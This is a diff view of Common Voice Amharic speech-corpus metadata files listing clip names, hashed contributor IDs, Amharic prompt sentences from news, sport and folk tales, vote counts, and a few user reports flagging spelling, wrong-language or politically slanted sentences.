8d98209b9033a72361c743ad0fbca484c92c2d6ca30262ec145f42226b86e35c6444e260b9f1958024a43d8de33fa0ed702e6ed90ba8c96f97c87315398d98a9 common_voice_am_37792183.mp3 3f1c81e4da94a7e197fd69fd4e97a25ecba38e4be1f54921a90b7e62a0ade088 ህመምን በመቀነስ ረገድ ውጤታማ መሆናቸውን ገልጸው በተደጋጋሚ መጠቀም ግን ችግሮችን ሊያስከትሉ እንደሚችሉ ጠቁመዋል። 1 2 thirties male_masculine am
|
| 13 |
+
8d98209b9033a72361c743ad0fbca484c92c2d6ca30262ec145f42226b86e35c6444e260b9f1958024a43d8de33fa0ed702e6ed90ba8c96f97c87315398d98a9 common_voice_am_37792185.mp3 579d06ceb52f04c7643aa9601a1099fca2d6e29067723dc77d49e51de8c0ce44 የብልጽግና ጉዟችንም ከዕንቅፋቶች የጸዳ አይሆንም። 0 2 thirties male_masculine am
|
| 14 |
+
8d98209b9033a72361c743ad0fbca484c92c2d6ca30262ec145f42226b86e35c6444e260b9f1958024a43d8de33fa0ed702e6ed90ba8c96f97c87315398d98a9 common_voice_am_37792186.mp3 70111599383b98088e1088ce96976fdb0a25db0b4b8b48488234818c13fa5d74 ቀሪዎቹ ግጥሞች ለዓፄ ዘርአ ያዕቆብና በኋላም ለዓፄ ገላውዲወስ የተገጠሙ ነበሩ። 0 2 thirties male_masculine am
|
| 15 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802223.mp3 2424af9ab7016f92ef8102ea33e4585e0bfc54b6d0222cd885ef26a50b2629bd በመጨረሻም የወር አበባ ቁርጠትን ከልብ ድካም ህመም ጋር ሊወዳደር የሚችል እንደሆነም በቅርቡ ይፋ አድርገዋል። 1 2 thirties male_masculine am
|
| 16 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802264.mp3 14da88cd138d5908a3197f7645dd1c6e730fe48220f288db114a746e03230bc9 ለተመራማሪዎቹ ያቀረበው ሌላው ጥያቄ ከጥሬ ሥጋ አንጻር ከበሬ ከበግ እና ከፍየል የትኛው ይመረጣል የሚል ነው። 0 2 thirties male_masculine am
|
| 17 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802346.mp3 2e3d0985181079d665543d02f06d4439418bd40075bacb10dd384dcf56611468 ችግር የለም፡፡ 0 2 thirties male_masculine am
|
| 18 |
+
aa486d252354c99ffdfb39710151cac2cfa36fcf36b042ec32b5bf8d68bd00a067d2875d032e47730c1f3b73765f42240bfc96676151230c8eec2e941342978f common_voice_am_37814367.mp3 8f4735aa9e69e8ade05bf97a994d2a05f092084c5a7913c17472a435feb40d18 አብሮ እንዳልኖረ እንደልተጋባና እንዳልተዋለደ ሁሉ የደም ቀለማችን ይለያይ ይመስል ሁቱና ቱትሲ በሚል ፍረጃና ብያኔ ተጠመድን። 1 2 thirties male_masculine am
|
| 19 |
+
da26a9dcadadacfa08446f32997296381746d721dc4e484b93ccc47cb2245ef5e61944eba9e554c70003f335ed8dbaa6155175ee3614c233881708019cfda3c7 common_voice_am_37842333.mp3 56d18c86cf1d8fefbe4547e71e83d1a3e0af222d79a70b5b61d7d991330bac45 በወንዶች ኢትዮጵያውያኑ የኬንያ አትሌቶችን ተከትለው ከ3-5ኛ ያለውን ደረጃ ይዘው ጨርሰዋል። 0 2 thirties male_masculine am
|
| 20 |
+
da26a9dcadadacfa08446f32997296381746d721dc4e484b93ccc47cb2245ef5e61944eba9e554c70003f335ed8dbaa6155175ee3614c233881708019cfda3c7 common_voice_am_37842344.mp3 5b7adc9861c83c81af9216da00e739dc4e21b0fa43dc83c1d759f165b7e1ce44 ቤቶቻቸው የፈረሱባቸው ሰዎች አድሎው ብሔር ተኮር እንደሆነ ለኢሰመኮ የገለጹ ሲሆን የመንግሥት ኃላፊዎች ማስተባበላቸው ተጠቅሷል። 0 2 thirties male_masculine am
|
| 21 |
+
da26a9dcadadacfa08446f32997296381746d721dc4e484b93ccc47cb2245ef5e61944eba9e554c70003f335ed8dbaa6155175ee3614c233881708019cfda3c7 common_voice_am_37888653.mp3 73567f33c50a355fa7ca9c36bd6c7fc407d82f9c0eabae1a6d5b511f9e03fc13 አልማዝ አያና ሰባተኛ ሆና ስትጨርስ ታዱ ተሾመ ደግሞ 8ኛ ደረጃን ይዛ ጨርሳለች 0 2 thirties male_masculine am
|
| 22 |
+
ec1715809c825726c785ea6a13906f02e192d097e52185fb99bf6234b0fe766d71278ed8cf01961c45de0714acbf2df8deb4b4853c2b60739dbafebd6a4b3963 common_voice_am_38053084.mp3 94f9391f2aeb6db1b4e52e27ad41f5009f6facfd944d5bfa880097699a56d56c እነርሱም “ለምንድነው የምትጠይቀን ምንስ ታደርግልናለህ አሉት፡፡ 0 2 am
|
| 23 |
+
2a0914d4eeb4ada7fcc4e9b64fc9594e89177482d6fccf2fa52b0c6f45e3c4717fb00fe9d7ff67a7324c81aa62dc0e11de3aa7381c3b21b38c72ac9de96d4248 common_voice_am_38229431.mp3 b3f46d2017810fca43a19eb7ad2a3b8e8f375a5d22f9a1375c52efe47a8edb92 አደጋዎች ብዙ ጊዜ ባያጋጥሙም አንዳንዴ ማጋጠማቸው አልቀረም። 0 2 am
|
| 24 |
+
16cb233d25bca4d1717db8e5c02857dc0e215e6f86528d9bd8c4ca5ff29df94e99d45fd0bf6fc3dc53eceaf94c04b668b2a96b4b32319544b1bc1bebec2c1cdb common_voice_am_38586605.mp3 7e4935d9fcdc6a67aac7c316969193b7c65a3d4fa0664143b3bf6a3e6fecdcd1 ሥራ እንዳትጀምር ቢወተውቱም ኢትዮጵያ የመጀመሪያውን የውሃ ሙሌት በሁለትሺ አስራ ሁለት ክረም ወራት ላይ አካሂዳለች። 0 2 thirties male_masculine am
|
| 25 |
+
16cb233d25bca4d1717db8e5c02857dc0e215e6f86528d9bd8c4ca5ff29df94e99d45fd0bf6fc3dc53eceaf94c04b668b2a96b4b32319544b1bc1bebec2c1cdb common_voice_am_38629749.mp3 4903e19e0479fd79dc0dd59655d79467eb36c0d743295ac1a00d6ecd082e6852 ጸሐፊዋ የሚፈርጀኝ የሚመድበኝ ያኔ ሰቀለኝ ትላለች። 0 2 thirties male_masculine am
|
| 26 |
+
16cb233d25bca4d1717db8e5c02857dc0e215e6f86528d9bd8c4ca5ff29df94e99d45fd0bf6fc3dc53eceaf94c04b668b2a96b4b32319544b1bc1bebec2c1cdb common_voice_am_38629785.mp3 a49be38c4ccbe1e936d3df407e9a54b18221e22eb7b4e5c8523fa63101e47deb የፕሬዝዳንት አብደል ፋታህ አል-ሲሲ መንግሥት ስለ ሱዳኑ ቀውስ መፍትሄ ለመስጠት እያታገለ ነው። 0 2 thirties male_masculine am
|
| 27 |
+
9d0b03806e99bbf3e1217178a709e2b2b935e0db119081a55b9dea2e56507b328ef405da4df79a0f2d4ff210a1b6dbb07d9111274ee83b7b2af2339205a3b080 common_voice_am_39643197.mp3 c2104592fb23d908cd9a95acd19913a44f862e47d1d0a3ed8effcecdf0a7a76c ህመም ለማቅለል ትኩስ መጠጦችን መጠጣት ሙቅ ውሃ በሆድ መያዝ መድኃኒት መውሰድ እና ሌሎች ማስታገሻዎችን ይጠቀማሉ። 0 2 am
|
| 28 |
+
c70a49f214ba759def50e9538062921f3fc88622757e3cdb016164d7b8b4100bee35daf3b8741b9b3ffff84238e46cb3caa5fcacc8bafed20c4b762888defa23 common_voice_am_39958866.mp3 dc0c1f2d3109724cf8df0cbd3f81ac57b2745576672e670df820213353ee47f3 ሁለቱም ክለቦች ጎል ያስቆጥራሉ ድሉ ግን የብራይተን ይሆናል ይላል ሱቶን። 0 2 am
|
| 29 |
+
1213479612861cb1d93ad7565e308c1bbea2297daa614de5d19318dc97f9c1b75d5da5e19b073880c14e5973768282521f25752cc1904b034d32011baa5fcb58 common_voice_am_39967426.mp3 a07eb20773cb5df591ad99fe92cf829b9ac1cfddabd141cd6d432b54354e84ea የሰላም ስምምነቱ እንዲፈረም ጠቅላይ ሚኒስትር ዐቢይ አሕመድ የወሰዷቸውን ድፍረት የተሞሉባቸው ውሳኔዎችን አድንቀዋል 0 2 am
|
| 30 |
+
b42a545a62ac48cbea21604fe3bd2a20d9e124584f6228e521a26459ea65be83672600927bcca45de3e8dce41c170a2a015acba7b4afc6c1268c9036bad2fcc5 common_voice_am_40955941.mp3 68f8dc140087292ffdaa37208e5acec7a9f1e89e1ffade776c71497854a1a3dd ለአባይ ወንዝ ሰማኒያ አምድት በመቶውን ውሃ የምታበረክተው ኢትዮጵያ ናት 0 2 Native am
|
transcript/am/other.tsv
ADDED
|
The diff for this file is too large to render.
See raw diff
|
|
|
transcript/am/reported.tsv
ADDED
|
@@ -0,0 +1,12 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
sentence_id sentence locale reason
|
| 2 |
+
33d5d6f1b046a52ce21b4461af25315ffa01a1d2c3a2a873eb089ea36d07f526 ???? ??? ???? ???? ?? ???? ??? ???? ???? ?????? ???? ??? ?????? ???????? ???????
|
| 3 |
+
am grammar-or-spelling
|
| 4 |
+
33d5d6f1b046a52ce21b4461af25315ffa01a1d2c3a2a873eb089ea36d07f526 ???? ??? ???? ???? ?? ???? ??? ???? ???? ?????? ???? ??? ?????? ???????? ???????
|
| 5 |
+
am different-language
|
| 6 |
+
9c587769e5df09e7119c4551df2f2018e7efdd00bb442c3e54d7df0b4164af9c ሊያሳስት በሚችል ደረጃ እውነት ይመስላል በሚልም ነው የተዋወቀው። am Amharic is my native language. It is spoken in parts of Ethiopia, one of the working languages of the government.
|
| 7 |
+
|
| 8 |
+
Some of the sentences are political, favoring one side over another.
|
| 9 |
+
|
| 10 |
+
I can’t believe people do that here.
|
| 11 |
+
|
| 12 |
+
Thanks
|
transcript/am/test.tsv
ADDED
|
@@ -0,0 +1,253 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
client_id path sentence_id sentence sentence_domain up_votes down_votes age gender accents variant locale segment
|
| 2 |
+
739a97d67e1ece18df6aa473cef1f24c540c1a95be7ae90bfcae20901f7a8bbf3dc6377aaa32d709eaea8fc125ddadf935b5e245e24e7be86a551115b48f6044 common_voice_am_37805835.mp3 83d7c789ba0051ffafe999d6b6ea8ead1415dbc634a2c386205921684922114a ከሊጉ እንደማይወርዱ ይሰማኛል። 2 0 am
|
| 3 |
+
aeb4f797c789d539f46cbc027332de76a26477cf7cef65a055e8eb9b59e3fc88f94f4e56045d2c61e425004a7e65d46169c2bee44619686a55f5e945d5649f67 common_voice_am_38670137.mp3 a5ba58651b73b18dc4057ebce80c38e436897a661c97c10aabbb550116d0b379 ጠዋት ጠዋት ከባድ ያልሆነ የሰውነት እንቅስቃሴ ቢያደርጉ ጾመኞች ብሩህ ቀን ማሳለፍ ይችላሉ ይላሉ ቁረይሺ። 2 0 am
|
| 4 |
+
ec99474195b7f9037520b33b706d64867f9be388fb941e55615c604e6bb9e4834b82ef08b7c596ef4ceb8f4fcd77a42714cbd8c7f0b3b28812099ae74848ef95 common_voice_am_39966174.mp3 c49840abaabfb0b92810b55cd75a7795c40f325fbebe8a3a5a71a644eaa0b7c9 መድፈኞቹ ረቡዕ ወደ ኢትሃድ ስለሚሄዱ የዛሬውን ጨዋታ የግድ ማሸነፍ አለባቸው። 2 0 am
|
| 5 |
+
ec99474195b7f9037520b33b706d64867f9be388fb941e55615c604e6bb9e4834b82ef08b7c596ef4ceb8f4fcd77a42714cbd8c7f0b3b28812099ae74848ef95 common_voice_am_39966175.mp3 a14e592831e05bbff992eac3e521c8b20508c3b330488b2a079c31b9ce2de5bb ሩሲያ ጋዜጠኛው ለአሜሪካ መንግስት ሚስጥራዊ የመከላከያ መረጃዎችን ለማግኘት እየሞከረ ነበር ስትል ወንጅላዋለች። 2 1 am
|
| 6 |
+
32db6c474ba4b8b9946ef2c47baf6e78a30a2e5094c0931f3d76999436deae2a0c8ba1745050420b5a70aafdee06de77166cb65eb631179c96b2510be49cd96e common_voice_am_39922740.mp3 c10daf80a8b7bb3dfb677e30d54a78bc00da2f5de64e04e548baddb9f4cb2a9d የታሪክ ተመራማሪዎች በበኩላቸው እናቷ የግብጽ ተወላጅ ወይም ከሌላ የአፍሪካ አገር የመጣች ልትሆን እንደምትችልም አስቀምጠዋል። 2 0 thirties male_masculine am
|
| 7 |
+
32db6c474ba4b8b9946ef2c47baf6e78a30a2e5094c0931f3d76999436deae2a0c8ba1745050420b5a70aafdee06de77166cb65eb631179c96b2510be49cd96e common_voice_am_39922754.mp3 bf683d006f63174dd8b52637143d4e97c1630c95477c30055228d5f78872d852 ነገር ግን በሰሜን ኢትዮጵያ የተካሄደው ጦርነት ሂደቱን አወሳስቦት ቆይቷል። 2 0 thirties male_masculine am
|
| 8 |
+
32db6c474ba4b8b9946ef2c47baf6e78a30a2e5094c0931f3d76999436deae2a0c8ba1745050420b5a70aafdee06de77166cb65eb631179c96b2510be49cd96e common_voice_am_39922761.mp3 c018719b693a0f69ea7a58b467d1bc935056d098b363b0c241bd622647f95e05 ይህንን ችግር ከፈታህልን የፈለከውን ሁሉ እናደርግልሃለን አሉት፡፡ 2 0 thirties male_masculine am
|
| 9 |
+
7d750bd24daa997afe6885a993a09c82683a8b4818878159c63d561fc91fea76e7e004551d7f41bc8b37683a6239d8b359266fcbc7958f3a10842abcbb8c178a common_voice_am_39906863.mp3 b8aadc44eefa3c7d3179602cf5911fc55876f0bce4f09c6164224558140b8013 ይህ ግጭት ለሌሎችም ዕድል ሊፈጥር ይችላል። 2 0 am
|
| 10 |
+
7d750bd24daa997afe6885a993a09c82683a8b4818878159c63d561fc91fea76e7e004551d7f41bc8b37683a6239d8b359266fcbc7958f3a10842abcbb8c178a common_voice_am_39906865.mp3 c83bf9f1faf5966e8f973941137ca89900c6e428c19ea0bd806eab9bd7204c8b በጅማ ዩኒቨርሰቲ ሆስፒታልና በአዲስ አበባ አለርት ኮምፕሬሲቭ ስፔሻላይዝድ ሆስፒታል እየተሰጠ ይገኛል። 2 0 am
|
| 11 |
+
7d750bd24daa997afe6885a993a09c82683a8b4818878159c63d561fc91fea76e7e004551d7f41bc8b37683a6239d8b359266fcbc7958f3a10842abcbb8c178a common_voice_am_39906908.mp3 cf6155e99c5d4145bd9d5395d3992a450c8a221b87d261ac0f0f999a2bebcb19 ፔንታጎን በጉዳዩ ላይ ምንም አይነት ዝርዝር መረጃ አልሰጠም። 2 0 am
|
| 12 |
+
7d750bd24daa997afe6885a993a09c82683a8b4818878159c63d561fc91fea76e7e004551d7f41bc8b37683a6239d8b359266fcbc7958f3a10842abcbb8c178a common_voice_am_39906909.mp3 c09b08545fbde9887eb7b6b561ae6f572f83a3666edc60796f263ed4e1b88167 ሄለና ካሶንጎ ስለ ሦስት ዓመት ሴት ልጇ ስታወራ ፊቷ ይበራል ፈገግታዋም ያላትን ጥልቅ ፍቅር ያሳያል። 2 0 am
|
| 13 |
+
3e8d218952c5acaec2972034458683783bc026b2448ba06a76bafb130651eef603cd8a86f43b4be8548179f6a69a68b0a7feb1d4b9ad8bdb86da964273a32fad common_voice_am_39362347.mp3 98020f5f051e00da512e20f92a5d358b625094111b6f00d82053f5d8f72cbc0f የውጭ አገራት ዜጎች ከካርቱም ሊወጡ ነው። 2 0 am
|
| 14 |
+
3e8d218952c5acaec2972034458683783bc026b2448ba06a76bafb130651eef603cd8a86f43b4be8548179f6a69a68b0a7feb1d4b9ad8bdb86da964273a32fad common_voice_am_39362351.mp3 9b17c63633415cb634164384ed89b61bf1b4dff765975c72d518359da0b44f5b ከትግራይ የመጣሁት ሰላም እና ፍቅር ብቻ ይዤ ነው 2 0 am
|
| 15 |
+
3e8d218952c5acaec2972034458683783bc026b2448ba06a76bafb130651eef603cd8a86f43b4be8548179f6a69a68b0a7feb1d4b9ad8bdb86da964273a32fad common_voice_am_39362368.mp3 2cedab1ba325443882dc0cf9d3a900cd4ad88046ad5c57d94c5f43c30c30db72 በግብፅ በኩል ፕሬዝዳንት አብዱልፈታህ አልሲሲ እንዲሁም የቀድሞው የሱዳን ፕሬዝደንት ኦማር አልበሽር ነበሩ። 2 0 am
|
| 16 |
+
3e8d218952c5acaec2972034458683783bc026b2448ba06a76bafb130651eef603cd8a86f43b4be8548179f6a69a68b0a7feb1d4b9ad8bdb86da964273a32fad common_voice_am_39362370.mp3 876fd9dadac6db255fc2c04f99a9eeeb3d020a6c728027b66c2bee641d31dced በዚህም የተሰቀሉት ሰዎች የእግራቸውን ጡንቻ ተጠቅመው መተንፈስ ስለማይችሉ ሞታቸው ይፋጠናል ይላሉ ፕሮፌሰር ፔሬዝ። 2 0 am
|
| 17 |
+
3e8d218952c5acaec2972034458683783bc026b2448ba06a76bafb130651eef603cd8a86f43b4be8548179f6a69a68b0a7feb1d4b9ad8bdb86da964273a32fad common_voice_am_39362372.mp3 9fa298b32866f02ff786feb31a3d252594e567e52e1afb79116d03d9b4d0269b ተከታዮቹም በተነገራቸው መሠረት የተባሉትን ካደረጉ በኋላ በረሃብ ሕይወታቸው አልፏል። 2 0 am
|
| 18 |
+
70f8ae9b34b6dde8343efb328cf0ec3fef99cec7296bbcdea513728e12847e9169d26455f135c5e18964d4c1036ed4d28d4fdd9ffaf4d93169aaec74da6ed237 common_voice_am_37897073.mp3 9bc31b92a9c616d8e7912a0840e18d96799d990ba321717daf950a75b302d594 በሁለት ግብ ልዩነት እየመራ ሁለቱንም ጨዋታ አቻ መለያየቱ በተጫዋቾቹ እና በአሰልጣኙ ላይ ጫና የሚያበረታ ነው። 2 0 am
|
| 19 |
+
70f8ae9b34b6dde8343efb328cf0ec3fef99cec7296bbcdea513728e12847e9169d26455f135c5e18964d4c1036ed4d28d4fdd9ffaf4d93169aaec74da6ed237 common_voice_am_37897074.mp3 7ff67207f4b0d7eb53947a0917f3b9b02b76eed16795b207f7bd2d175c35da1f ግድግዳዎች ላይ የጦርነት ድሎች እና የጦር ምርኮኞች እንዲሁም ምርኮኞቹ የተገደሉበትን መንገድ የሚያመለክቱ ሥዕሎች ነበሩ። 2 0 am
|
| 20 |
+
70f8ae9b34b6dde8343efb328cf0ec3fef99cec7296bbcdea513728e12847e9169d26455f135c5e18964d4c1036ed4d28d4fdd9ffaf4d93169aaec74da6ed237 common_voice_am_37897075.mp3 6c6c151abb151fdca0a48972ce25bc12062af725fac4eed5c5340aed6e027e1d ጀነራሎቹ ሱዳንን የማስተዳደር ስልጣን ለሲቪል አስተዳደር ለማስተላለፍ ተስማምተናል ብለዋል። 2 0 am
|
| 21 |
+
70f8ae9b34b6dde8343efb328cf0ec3fef99cec7296bbcdea513728e12847e9169d26455f135c5e18964d4c1036ed4d28d4fdd9ffaf4d93169aaec74da6ed237 common_voice_am_37897076.mp3 423489bba207aa3b0836a25ec4e2f05276fdb1a017b7c1220495cc5ef48c6eaf ክልከላውን ያደረጉት የኤርትራ ባለስልጣናት መሆናቸውን ለቤተሰቡ ቅርብ የሆኑ ምንጮች ለቢቢሲ ትግርኛ ገልጸዋል። 2 0 am
|
| 22 |
+
70f8ae9b34b6dde8343efb328cf0ec3fef99cec7296bbcdea513728e12847e9169d26455f135c5e18964d4c1036ed4d28d4fdd9ffaf4d93169aaec74da6ed237 common_voice_am_37897077.mp3 8d609167bba79cb12730bdddee6aafe99abdc6a398af3390bdf816e7b2f8b410 ከአገር ክህደት ከወታደራዊ አመጽ ከሽብርተኝነት እና ደም መፋሰስን ካስከተለ አንዳንድ ወንጀሎች ጋር የተያያዘ ነው። 2 0 am
|
| 23 |
+
7b17d037d3ec5246250c92c02ac3d44ea04b01bc6df1018442ba1c50df52685212ec007496af6afc81166f247b9844640f66d10d20250ec9fb4179b1fa3ee8bf common_voice_am_37841948.mp3 6f72e0c0f3070e0f556b4afdfbf72027141b446b0721cf5ec59e491bf1765e7a በዕውቀት ታሽቶ እና በጥበብ ተቀምሞ በሚጥም ለዛ የቀረበበት ሥራ ነው። 2 1 am
|
| 24 |
+
7b17d037d3ec5246250c92c02ac3d44ea04b01bc6df1018442ba1c50df52685212ec007496af6afc81166f247b9844640f66d10d20250ec9fb4179b1fa3ee8bf common_voice_am_37841949.mp3 76191033ae52d56c76d6244b03bdd94158f49e7fb655971930bc2bcbea8021f2 የጄነራል ቡርሃን እቅድ የቀድሞውን የኦማር አልበሽርን አገዛዝ ለመመለስ እየሰሩ መሆኑ ግልጽ እየሆነ መጣ ይላሉ። 2 0 am
|
| 25 |
+
7b17d037d3ec5246250c92c02ac3d44ea04b01bc6df1018442ba1c50df52685212ec007496af6afc81166f247b9844640f66d10d20250ec9fb4179b1fa3ee8bf common_voice_am_37841950.mp3 9e9022be936e81857c54360c9675f04b02e0b048d3110a19dde00da35166deee ስጋት ነግሶ የነበረ ሲሆን ቤተክርስቲያኗም መንግሥት የሚጠበቅበትን አልተወጣም በሚል ወቀሳ ስታሰማ ቆይታለች። 2 1 am
|
| 26 |
+
7b17d037d3ec5246250c92c02ac3d44ea04b01bc6df1018442ba1c50df52685212ec007496af6afc81166f247b9844640f66d10d20250ec9fb4179b1fa3ee8bf common_voice_am_37841951.mp3 a883ca0dc20b0583717eb786b03f0069ee6fa624b827378924854b135999db40 እልህና ክፋት ውድቀትን ቅንነትና ምክክር ዕድገትን እንደሚያመጣ ዕንወቅ። 2 0 am
|
| 27 |
+
7b17d037d3ec5246250c92c02ac3d44ea04b01bc6df1018442ba1c50df52685212ec007496af6afc81166f247b9844640f66d10d20250ec9fb4179b1fa3ee8bf common_voice_am_37841952.mp3 a3cb541fb12dd1b858c419c9f260239248a2430ec50d71afc71dcd67c66e3468 አባ ጎርጎሪዮስ ስለ ቅድስት ማርያም የደረሱትን ምስጋና ግጥሞችና የለተለት ንግግሮችን መዝግቦ ይገኛል። 2 0 am
|
| 28 |
+
9d4b12a687d8b110b42b9847c109be6c2bdae07d659b457057424c0239f6962c04a93672949f39ee58fb1418371e43c875c26a11a1d85149219e14988aff307d common_voice_am_37842347.mp3 5e2ce2cecafdff6e213aa34a6581497e06ac7690b5570e7715a495e56922350e ሰዎች ረዥም ዕድሜ ለመኖር እንዲያደርጉ ከምንመክረው በተቃራኒው ነው የሚኖሩት ይላሉ። 2 0 twenties male_masculine am
|
| 29 |
+
9d4b12a687d8b110b42b9847c109be6c2bdae07d659b457057424c0239f6962c04a93672949f39ee58fb1418371e43c875c26a11a1d85149219e14988aff307d common_voice_am_37842348.mp3 970cb8ae0ddbaa88e79e91502aec8622b2160055e435494066dfa89ac0ac308a ትዊተር ከትላንት ጀምሮ በሺዎች የሚቆጠሩ ታዋቂ ሰዎችን ሰማያዊ ማረጋገጫ ምልክት ማንሳት ጀምሯል። 2 0 twenties male_masculine am
|
| 30 |
+
9d4b12a687d8b110b42b9847c109be6c2bdae07d659b457057424c0239f6962c04a93672949f39ee58fb1418371e43c875c26a11a1d85149219e14988aff307d common_voice_am_37842349.mp3 6ff2085e29c9772c06dedcfcd190bfe9c7ccda6c0f3f9cc10ebd3b20e0838dda እንደሚደበድብሽ እርግጠኛ ነኝ አላት፡፡ 2 0 twenties male_masculine am
|
| 31 |
+
9d4b12a687d8b110b42b9847c109be6c2bdae07d659b457057424c0239f6962c04a93672949f39ee58fb1418371e43c875c26a11a1d85149219e14988aff307d common_voice_am_37842350.mp3 164c9d28a25253a055b2747c77d15b9f13e24694983c56b19fb3f971b57737d6 በአንድ ወቅት አንድ ሙርቺን የተባለ ሰው ነበር፡፡ 2 0 twenties male_masculine am
|
| 32 |
+
9d4b12a687d8b110b42b9847c109be6c2bdae07d659b457057424c0239f6962c04a93672949f39ee58fb1418371e43c875c26a11a1d85149219e14988aff307d common_voice_am_37842351.mp3 5879977d124b2932091658e32dc68b022b0e95e48279ffbf8a90363ff71d7b90 ወደርሱ ሂድና ፈረሶችን ሲገራ ታገኘዋለህ፡፡ 2 0 twenties male_masculine am
|
| 33 |
+
9fe579e52cfa54eb0e93325ee460d2dac7be87091387a1b653a285c3cbdc7d12d9d5a845ed10c9aa87f695e996c5e65e92fc9f8fc71b66f8ba149c97e82aea4a common_voice_am_38224452.mp3 8a42d3804db96030c07deffeed4aa7aaa0da5afb720e05912105233e220d6520 ምክንያቱም ላሟ የጋራ ንብረታቸው ናት፡፡ 2 0 am
|
| 34 |
+
9fe579e52cfa54eb0e93325ee460d2dac7be87091387a1b653a285c3cbdc7d12d9d5a845ed10c9aa87f695e996c5e65e92fc9f8fc71b66f8ba149c97e82aea4a common_voice_am_38224454.mp3 41a4191dd86fa30d722156dfa250eda92e78db4a872256b23ddcd4c65c4296b7 ሰውየውም ያጠመደውን እረኛ ይዞ ወደቤቱ ሄደ፡፡ 2 0 am
|
| 35 |
+
9fe579e52cfa54eb0e93325ee460d2dac7be87091387a1b653a285c3cbdc7d12d9d5a845ed10c9aa87f695e996c5e65e92fc9f8fc71b66f8ba149c97e82aea4a common_voice_am_38224455.mp3 5526f76360b4bd6e2bdc6bbae18b3a988929d9a9540abf30352c3905044a15fe በመስቀል ላይ የሚፈጸም ስቅላት እንዴት እና የት ተጀመረ? 2 0 am
|
| 36 |
+
9fe579e52cfa54eb0e93325ee460d2dac7be87091387a1b653a285c3cbdc7d12d9d5a845ed10c9aa87f695e996c5e65e92fc9f8fc71b66f8ba149c97e82aea4a common_voice_am_38224456.mp3 8ce5f61ec571158fc60277fc08fa76e0102ea062bda1dc25b6d386b41d373eaf የመንግሥታቱ ድርጅት የሰብአዊ መብቶች ምክር ቤት አባል ብትሆንም የሰብአዊ መብቶችን እና የእምነት ነፃነትን በመጣስ ትከሰሳለች። 2 0 am
|
| 37 |
+
9fe579e52cfa54eb0e93325ee460d2dac7be87091387a1b653a285c3cbdc7d12d9d5a845ed10c9aa87f695e996c5e65e92fc9f8fc71b66f8ba149c97e82aea4a common_voice_am_38224457.mp3 26d6dbac55645802adbbb555f88e2262ed3f99b3d96df467919a6a9826dfabba በሶስተኛው ሳጥን ውስጥ ደግሞ ወርቅ አስቀምጦ አሸገው፡፡ 2 0 am
|
| 38 |
+
